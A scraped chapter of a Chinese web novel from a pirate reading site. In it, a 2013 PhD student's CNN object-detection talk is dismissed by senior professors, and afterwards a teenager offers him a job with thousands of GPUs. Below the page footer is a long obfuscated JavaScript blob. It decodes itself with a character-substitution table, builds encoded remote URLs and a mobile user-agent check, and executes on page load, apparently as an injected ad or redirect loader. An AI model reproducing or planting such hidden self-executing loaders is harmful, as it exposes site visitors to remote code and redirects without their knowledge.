首页
第396章 我这有几千张GP
返回
关灯 护眼:关 字号:小

第396章 我这有几千张GPU,你要吗?

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第396章我这有几千张GPU,你要吗?(第1/2页)
    八月的西安,是能把人烤出油来的那种热。
    不像锦城那种阴湿的蒸笼感,西安的毒日头是直接劈下来的,混着秦川平原上吹来的干热风,把整座城市炙烤得像一块巨大的砖窑。
    任少卿拎着一个鼓囊囊的黑色双肩包,从西安交大东门的公交站一路走进校园,衬衫后背湿透了大半,贴在脊梁骨上,黏糊糊的,难受得很。
    他低着头,盯着脚下的花岗岩路面,脑子里反复过今天宣讲的那三十二页PPT。
    第七页的实验数据。
    第七页,是整个报告的命门。
    任少卿闭上眼睛,那张对比折线图像刻进脑子里一样挥不去。
    他基于AleXNet架构改进的卷积神经网络模型,用东拼西凑的四卡GPU服务器跑出来的结果,在PASCALVOC2012数据集上,目标检测精度比学界主流的DPM模型高出了将近十一个百分点。
    十一个百分点。
    在他看来,这不是一个数字。
    这是一次典范转移。
    他二十七岁,中科大和微软亚洲研究院联合培养的博士生。
    去年从合肥到了一趟北京,跟着导师的组看完了HintOn组在ILSVRC比赛上用AleXNet把传统方法打得落花流水的完整论文。
    他当时就坐在微软大厦十二层的组会室里,咖啡都顾不上喝,盯着屏幕上那个把所有传统方法甩开将近十个百分点的成绩,心里某个地方“咔哒”一声,被什么彻底撬开了。
    那种感觉,他后来想了很久——大概类似于在一片乌压压的普通人里,突然认出了另一个同类。
    然后他就扎进去了。
    整整八个月,几乎把所有能腾出来的时间全部押进去。
    他在自己的研究方向里开了条岔路,拐进了当时连导师都半信半疑的深度学习丛林,靠着微软亚研院借给他的一小块GPU算力,把那套模型一点一点搭起来,调参,再调参,处理过拟合,再处理,换框架,换数据增强方式……
    然后跑出了那个让他失眠了整整一夜的数字。
    但他没法训练更大的模型。
    算力不够。
    微软亚研院给他划的那块算力有上限,还要跟组里其他项目排队。
    他算过了,如果要把网络规模再扩大一倍、数据集再丰富三倍,按现在能用的算力,连续不间断地跑,需要将近四十七天。
    他等不起。
    不是技术上等不起,是赛道上等不起。
    他清楚地感觉到,全球跑在这个方向上的人越来越多。
    去年AleXNet一出,全世界顶级实验室就像被点着了一样,一股脑儿往这边涌。
    斯坦福、CMU、DeepMind……这些机构手里握着的算力,是他这种人做梦都摸不到的规模。
    他必须跑快一点。
    所以他来了西安。
    “2013年全国计算机视觉与模式识别暑期研讨会”,主办方是西安交大和西工大,协办方拉了一长串,里头有两个国家级的超算中心。
    这场会议在学界的分量不算最顶尖,但务实。
    任少卿要的也不是顶尖,他要的是那两个超算中心的挂名负责人,以及他提前查过的、挂在西工大计算机视觉重点实验室名下的那一批国防科工委拨款的H系服务器集群。
    他的如意算盘是:论文宣讲好,跟西部这边的大拿们混个脸熟,饭桌上开口“化缘”,借一批算力用三个月。
    道理上没问题。
    学术圈就是这么运转的。
    任少卿走进报告厅大楼,扑面而来一股凉气,把他半干不湿的衬衫一下子激透了,打了个哆嗦,稍微舒坦了点,抬头看了眼指示牌。
    计算机视觉分会场,三楼报告厅B。
    宣讲安排在下午两点,是下午场的第二个报告。
    现在是上午十点四十分。
    时间够。
    ……
    上午的大会主题报告,任少卿坐在后排,把论文草稿掏出来又过了一遍。
    台上是一位西工大的老先生,做人脸识别做了二十多年,满头白发,声音洪亮,PPT是黑底绿字的经典配色,一页一页往下翻,每一页都有至少三段话。
    老先生讲的是基于可形变模型的人脸特征点对齐,理论体系扎实、推导完备,是这个领域里毫无疑问的泰斗级工作。
    任少卿认认真真地听,认认真真地鼓掌。
    然后继续低头看自己的论文。
    ……
    下午两点整,任少卿走上讲台。
    报告厅里坐了大概七八十人,前排是几位头发花白的老教授,中间是一群年龄不一的副教授和研究员,后排是一大片跟他差不多大乃至更年轻的博士生和硕士生。
    任少卿把U盘插进去,屏幕上亮出报告封面:
    《基于改进卷积神经网络的目标检测:突破传统特征工程的范式》
    他扫了一眼台下,做了个深呼吸。
    “各位老师、各位同学,下午好。我叫任少卿,来自中科大与微软亚洲研究院的联合培养项目。今天我要跟大家分享的工作,核心出发点是一个我认为非常重要的问题——传统的手工特征,在目标检测任务上,是不是已经遇到了天花板?”
    后排有几个博士生坐直了一点。
    前排的老先生们,表情没什么变化。
    任少卿继续往下走。
    他讲架构,讲他对AleXNet的改进,讲数据增强,讲在PASCALVOC上跑出来的结果。
    讲得快,但逻辑清晰,每一步推进都有据可查。
    讲到第七页,他把那张对比折线图放到了最大。
    “……在相同的测试集上,我们的方法在mAP指标上比当前最优的DPM模型高出了11.3个百分点。这个差距,我认为不是调参层面的改进,而是底层特征提取范式的本质性跃迁。”
    (本章未完,请点击下一页继续阅读)第396章我这有几千张GPU,你要吗?(第2/2页)
    报告厅里安静了大概两秒钟。
    然后,前排左边第二个位置的老先生开口了。
    任少卿认识这位老先生。
    西安交大计算机视觉领域的老前辈,做了三十年图像处理,手底下出来的博士生如今遍布国内各大高校和研究院,标准的一代宗师。
    “小伙子,”
    老先生语气并不严厉,甚至带着点慈祥,
    “你这个结果,训练的时候用了多少GPU?”
    “四张NVIDIAGTX780,训练了大约十二天。”
    老先生点了点头,慢条斯理地说:
    “我想问你,这十二天、四张显卡跑出来的东西,在工程落地上怎么解决?你这个模型,推理一张图片需要多长时间?”
    “目前大概是0.5到0.8秒每帧——”
    “那实时检测呢?”
    老先生温和地打断,
    “工业摄像头要求的是25帧以上,你离这个目标还差多远?”
    任少卿顿了一下。
    ——他当然知道差多远。他只是同样知道,五年后这个问题会变成什么样的答案。
    “目前确实还不满足实时要求,但是——”
    “还有,”
    旁边另一位中年教授接过话头,语气更直接,
    “你说比DPM高11个点,但你用的训练数据量是DPM的几倍?GPU算力消耗是DPM的几倍?这个对比,公平吗?”
    “数据量大约是……两倍,”
    任少卿深吸一口气,
    “算力消耗相对更高,这点我承认。不过我想指出的是,随着GPU硬件成本持续下降,算力约束在未来三到五年内会快速缓解,到那个时候——”
    “到那个时候再说到那个时候的事。”
    中年教授语气不咸不淡,
    “我们讨论的是2013年可落地的工作。”
    后排有几个博士生没忍住,凑在一起交换了几句什么。
    任少卿站在台上,握着激光笔的手指不动声色地收紧了一下。
    他在组会上被导师骂过,被审稿人拒过,被同组的师兄用红笔密密麻麻划过论文草稿。
    但今天这种感觉,不一样。
    不是羞辱,老先生显然没有这个意思。
    是隔阂。
    是两个人分别站在两座山顶,隔着一道深不见底的沟壑喊话。
    彼此都能听见声音,却没有一个人能确认,对方说的是不是同一件事。
    老先生看到的是2013年的现实:算力稀缺,工程不成熟,理论可解释性不足。
    任少卿看到的,是2016年,是2018年,是2020年。那是一条已经确定了走向的单行道。
    所有在入口踟蹰不前的人,都会被后来的历史证明,站在了错误的一侧。
    但他没法证明这件事。
    他没有办法站在2013年,把未来的那些数字递给眼前这些前辈看。
    “感谢各位老师的宝贵意见,”
    任少卿调整了一下神情,扯出个平静的笑,
    “工程落地和理论解释性的问题,我会认真思考,这部分工作确实还有很大的空间……”
    剩下几页PPT快速过完,宣讲在稀稀落落的掌声里结束了。
    ……
    报告厅外的走廊里,任少卿靠着一根石柱,把双肩包从肩膀上拽下来,随手扔在脚边,仰起头,盯着头顶白炽灯管里那道平静的光。
    窗外,八月的夕阳把整个交大校园熏成了一片焦橙色,梧桐树的叶子在热风里懒洋洋地翻着肚皮。
    他把今天下午的剧本在脑子里重放了一遍。
    宣讲失败,这个结论不用再论证了。
    那两位超算中心的挂名负责人,他宣讲一结束就特地凑过去,名片还没来得及换,对方就礼貌性地微笑着接了个电话走开了。
    任少卿揉了揉太阳穴。
    这趟西安,白来了。
    从北京过来的机票和这两天的住宿,是他自掏腰包的。
    导师给的差旅报销额度他留着出去参加顶会用,舍不得花在这种研讨会上。
    想想都亏。
    他弯腰把包捡起来,准备去找学生餐厅对付一顿。
    “同学,等一下。”
    任少卿回过头。
    一个男生从他左边三米外走过来,大概十七八岁的样子,一头染得张扬的黄毛,大裤衩加白T恤,脖子上随便挂着个不知道从哪顺来的临时旁听证,脚上踩着一双半旧的运动鞋,要多随意有多随意。
    这栋楼里全是西装和pOlO衫。
    这个人跟所有人都格格不入。
    但他走路的姿势,带着一股说不清楚的笃定。
    他在任少卿面前停下来,抬起头,打量了他两秒,开口:
    “你就是刚才做卷积神经网络目标检测报告的那位吧?”
    任少卿微微一怔:
    “是。”
    那个黄毛少年把手插进裤兜,嘴角往上扯了一下。
    “算力不够用?”
    不是疑问句。
    陈述句。
    任少卿盯着他看了整整三秒,没有说话。
    “我在锦城,”
    黄毛少年语气轻描淡写,像在聊今晚吃什么,
    “雅安大渡河边上有个数据中心,现在装机规模大概是几千张GPU,目前主要跑推荐算法和挖矿。不过,我刚抛了一笔比特币,下个月会有两千张英伟达最新的顶级计算卡进场,专门留给深度学习。”
    他顿了顿。
    “你有没有兴趣,去我公司上班?”
    “算力,管够。”
    PS:【糊涂旧岛】大佬送出的【礼物之王】加更三章第一章
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();